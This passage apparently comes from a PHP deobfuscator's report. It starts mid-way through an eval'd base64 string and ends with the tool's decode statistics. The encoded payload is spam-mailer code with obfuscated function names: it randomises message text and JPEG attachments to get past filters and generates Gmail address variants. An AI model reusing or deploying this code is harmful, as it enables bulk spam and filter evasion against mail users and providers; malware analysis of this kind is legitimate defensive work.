rZXQsIDEwMjQgKTsKICAgICAgICAgICAgICAgIGlmKCAkciApIHsKICAgICAgICAgICAgICAgICAgICAkcmVzcCAuPSAkYjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmKCAkYiA9PSAiXHJcbiIgKSB7CiAgICAgICAgICAgICAgICAgICAgJHIgPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBmY2xvc2UoICRzb2NrZXQgKTsKICAgICAgICB9CiAgICB9CgogICAgaWYoIGVtcHR5KCAkcmVzcCApICkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIHJldHVybiAkcmVzcDsKfQoKZnVuY3Rpb24gZmlsZVN0cmluZyggJG5hbWUgKQp7CiAgICAkZm9ybWF0ID0gZW5kKCBleHBsb2RlKCAnLicsICRuYW1lICkgKTsKCiAgICBpZiggc3RydG9sb3dlciggJGZvcm1hdCApID09ICdqcGVnJyBvciBzdHJ0b2xvd2VyKCAkZm9ybWF0ICkgPT0gJ2pwZycgKSB7CiAgICAgICAgaWYoIENoZWNrQmZ1aWtsbWVrZzYoKSApIHsKICAgICAgICAgICAgcmV0dXJuIEJmdWlrbG1la2c2KCAkX0ZJTEVTWyAnZmlsZScgXVsgJ3RtcF9uYW1lJyBdICk7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCAkX0ZJTEVTWyAnZmlsZScgXVsgJ3RtcF9uYW1lJyBdICk7Cn0KCmZ1bmN0aW9uIHJhbmRUZXh0KCkKewogICAgJHN0ciA9ICdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7CiAgICAkc2l6ZSA9IHJhbmQoIDMsIDggKTsKICAgICRyZXN1bHQgPSAnJzsKCiAgICBmb3IoICRjID0gMDsgJGMgPCAkc2l6ZTsgJGMrKyApIHsKICAgICAgICAkcmVzdWx0IC49ICRzdHJbIHJhbmQoIDAsIHN0cmxlbiggJHN0ciApIC0gMSApIF07CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKLy8gUmFuZG9tIHRleHQgdmVyc2lvbiBmb3IgbWVzc2FnZQpmdW5jdGlvbiB0YmZ5RlVja2dudmpodmdqa00oKQp7CiAgICAkc3RyID0gJ3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKICAgICRzaXplID0gcmFuZCggOSwgMjAgKTsKICAgICRyZXN1bHQgPSAnJzsKCiAgICBmb3IoICRjID0gMDsgJGMgPCAkc2l6ZTsgJGMrKyApIHsKICAgICAgICAkcmFuZCA9IHJhbmQoIDYsIDEwICk7CgogICAgICAgIGZvciggJGkgPSAwOyAkaSA8ICRyYW5kOyAkaSsrICkgewogICAgICAgICAgICAkcmVzdWx0IC49ICRzdHJbIHJhbmQoIDAsIHN0cmxlbiggJHN0ciApIC0gMSApIF07CiAgICAgICAgfQogICAgICAgICRzaWduID0gYXJyYXkoCiAgICAgICAgICAgICcgJywKICAgICAgICAgICAgJyAnLAogICAgICAgICAgICAnICcsCiAgICAgICAgICAgICcgJywKICAgICAgICAgICAgJywgJywKICAgICAgICAgICAgJz8gJywKICAgICAgICAgICAgJy4gJywKICAgICAgICAgICAgJy4gJwogICAgICAgICk7CiAgICAgICAgJHJlc3VsdCAuPSAkc2lnblsgcmFuZCggMCwgNyApIF07CiAgICB9CiAgICByZXR1cm4gdHJpbSggJHJlc3VsdCApOwp9CgpmdW5jdGlvbiBDaGVja0JmdWlrbG1la2c2KCkKewogICAgJGFycmF5ID0gYXJyYXkoCiAgICAgICAgJ2dldGltYWdlc2l6ZScsCiAgICAgICAgJ2ltYWdlY3JlYXRldHJ1ZWNvbG9yJywKICAgICAgICAnaW1hZ2VjcmVhdGVmcm9tanBlZycsCiAgICAgICAgJ2ltYWdlY29weXJlc2FtcGxlZCcsCiAgICAgICAgJ2ltYWdlZmlsdGVyJywKICAgICAgICAnb2Jfc3RhcnQnLAogICAgICAgICdpbWFnZWpwZWcnLAogICAgICAgICdvYl9nZXRfY2xlYW4nCiAgICApOwoKICAgIGZvciggJGMgPSAwLCAkbWF4ID0gc2l6ZW9mKCAkYXJyYXkgKTsgJGMgPCAkbWF4OyAkYysrICkgewogICAgICAgIGlmKCAhIGZ1bmN0aW9uX2V4aXN0cyggJGFycmF5WyAkYyBdICkgKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gQmZ1aWtsbWVrZzYoICRmaWxlICkKewogICAgJHJhbmRbICd3aWR0aCcgXSA9IHJhbmQoIDEsIDIgKTsKICAgICRyYW5kWyAnaGVpZ2h0JyBdID0gcmFuZCggMSwgMiApOwogICAgJHJhbmRbICdxdWFsaXR5JyBdID0gcmFuZCggMSwgMiApOwogICAgJHJhbmRbICdicmlnaHRuZXNzJyBdID0gcmFuZCggMSwgMiApOwogICAgJHJhbmRbICdjb250cmFzdCcgXSA9IHJhbmQoIDEsIDIgKTsKCiAgICBsaXN0KCAkd2lkdGgsICRoZWlnaHQgKSA9IGdldGltYWdlc2l6ZSggJGZpbGUgKTsKCiAgICBpZiggJHJhbmRbICd3aWR0aCcgXSA9PSAxICkgewogICAgICAgICRzaWduID0gcmFuZCggMSwgMiApOwogICAgICAgIGlmKCAkc2lnbiA9PSAxICkgewogICAgICAgICAgICAkbmV3X3dpZHRoID0gJHdpZHRoICsgcmFuZCggMSwgMTAgKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRuZXdfd2lkdGggPSAkd2lkdGggLSByYW5kKCAxLCAxMCApOwogICAgICAgIH0KICAgIH0KICAgIGVsc2UgewogICAgICAgICRuZXdfd2lkdGggPSAkd2lkdGg7CiAgICB9CiAgICBpZiggJHJhbmRbICdoZWlnaHQnIF0gPT0gMSApIHsKICAgICAgICAkc2lnbiA9IHJhbmQoIDEsIDIgKTsKICAgICAgICBpZiggJHNpZ24gPT0gMSApIHsKICAgICAgICAgICAgJG5ld19oZWlnaHQgPSAkaGVpZ2h0ICsgcmFuZCggMSwgMTAgKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRuZXdfaGVpZ2h0ID0gJGhlaWdodCAtIHJhbmQoIDEsIDEwICk7CiAgICAgICAgfQogICAgfQogICAgZWxzZSB7CiAgICAgICAgJG5ld19oZWlnaHQgPSAkaGVpZ2h0OwogICAgfQogICAgaWYoICRyYW5kWyAncXVhbGl0eScgXSA9PSAxICkgewogICAgICAgICRxdWFsaXR5ID0gNzU7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkcXVhbGl0eSA9IHJhbmQoIDY1LCAxMDUgKTsKICAgIH0KICAgIGlmKCAkcmFuZFsgJ2JyaWdodG5lc3MnIF0gPT0gMSApIHsKICAgICAgICAkYnJpZ2h0bmVzcyA9IHJhbmQoIDAsIDM1ICk7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkYnJpZ2h0bmVzcyA9IDA7CiAgICB9CiAgICBpZiggJHJhbmRbICdjb250cmFzdCcgXSA9PSAxICkgewogICAgICAgICRzaWduID0gcmFuZCggMSwgMiApOwogICAgICAgIGlmKCAkc2lnbiA9PSAxICkgewogICAgICAgICAgICAkc2lnbiA9ICcrJzsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICRzaWduID0gJy0nOwogICAgICAgIH0KICAgICAgICAkY29udHJhc3QgPSByYW5kKCAxLCAxNSApOwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJHNpZ24gPSAnJzsKICAgICAgICAkY29udHJhc3QgPSAwOwogICAgfQoKICAgICRpbWFnZV9wID0gaW1hZ2VjcmVhdGV0cnVlY29sb3IoICRuZXdfd2lkdGgsICRuZXdfaGVpZ2h0ICk7CiAgICAkaW1hZ2UgPSBpbWFnZWNyZWF0ZWZyb21qcGVnKCAkZmlsZSApOwogICAgaW1hZ2Vjb3B5cmVzYW1wbGVkKCAkaW1hZ2VfcCwgJGltYWdlLCAwLCAwLCAwLCAwLCAkbmV3X3dpZHRoLCAkbmV3X2hlaWdodCwgJHdpZHRoLCAkaGVpZ2h0ICk7CiAgICBpbWFnZWZpbHRlciggJGltYWdlX3AsIElNR19GSUxURVJfQ09OVFJBU1QsICRzaWduIC4gJGNvbnRyYXN0ICk7CiAgICBpbWFnZWZpbHRlciggJGltYWdlX3AsIElNR19GSUxURVJfQlJJR0hUTkVTUywgJGJyaWdodG5lc3MgKTsKICAgIG9iX3N0YXJ0KCk7CiAgICBpbWFnZWpwZWcoICRpbWFnZV9wLCBudWxsLCAkcXVhbGl0eSApOwogICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgaW1hZ2VkZXN0cm95KCAkaW1hZ2VfcCApOwoKICAgIHJldHVybiAkb3V0Owp9CgovKmZ1bmN0aW9uIFJhbmRHbWFpbCgkZW1haWwpCnsKICAgICRsb2dpbiAgPSBleHBsb2RlKCdAJywgJGVtYWlsKTsKICAgICRyZXN1bHQgPSAnJzsKICAgICRsb2dpbiAgPSBzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCcuJywgJycsICRsb2dpblswXSkpOwoKICAgICRzaXplID0gc3RybGVuKCRsb2dpbik7CgogICAgZm9yICgkYyA9IDAsICRtYXggPSAkc2l6ZTsgJGMgPCAkbWF4OyAkYysrKSB7CiAgICAgICAgJHVwICA9IHJhbmQoMCwgMSk7CiAgICAgICAgJGRvdCA9IHJhbmQoMCwgMSk7CgogICAgICAgICRzeW1ib2wgPSAkbG9naW5bJGNdOwoKICAgICAgICBpZiAoJHVwID09IDEpIHsKICAgICAgICAgICAgJHN5bWJvbCA9IHN0cnRvdXBwZXIoJHN5bWJvbCk7CiAgICAgICAgfQogICAgICAgIGlmICgkZG90ID09IDEpIHsKICAgICAgICAgICAgJHN5bWJvbCA9ICRzeW1ib2wgLiAnLic7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gJHN5bWJvbDsKICAgIH0KCiAgICBpZiAoc3Vic3RyKCRyZXN1bHQsIC0xKSA9PSAnLicpIHsKICAgICAgICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsIDAsIC0xKTsKICAgIH0KCiAgICByZXR1cm4gJHJlc3VsdCAuICdAZ21haWwuY29tJzsKfSovCgo=" ) );

Function Calls

base64_decode 1

Variables

None

Stats

MD5 204acb016cef1f29582b489a0da70bc7
Eval Count 1
Decode Time 78 ms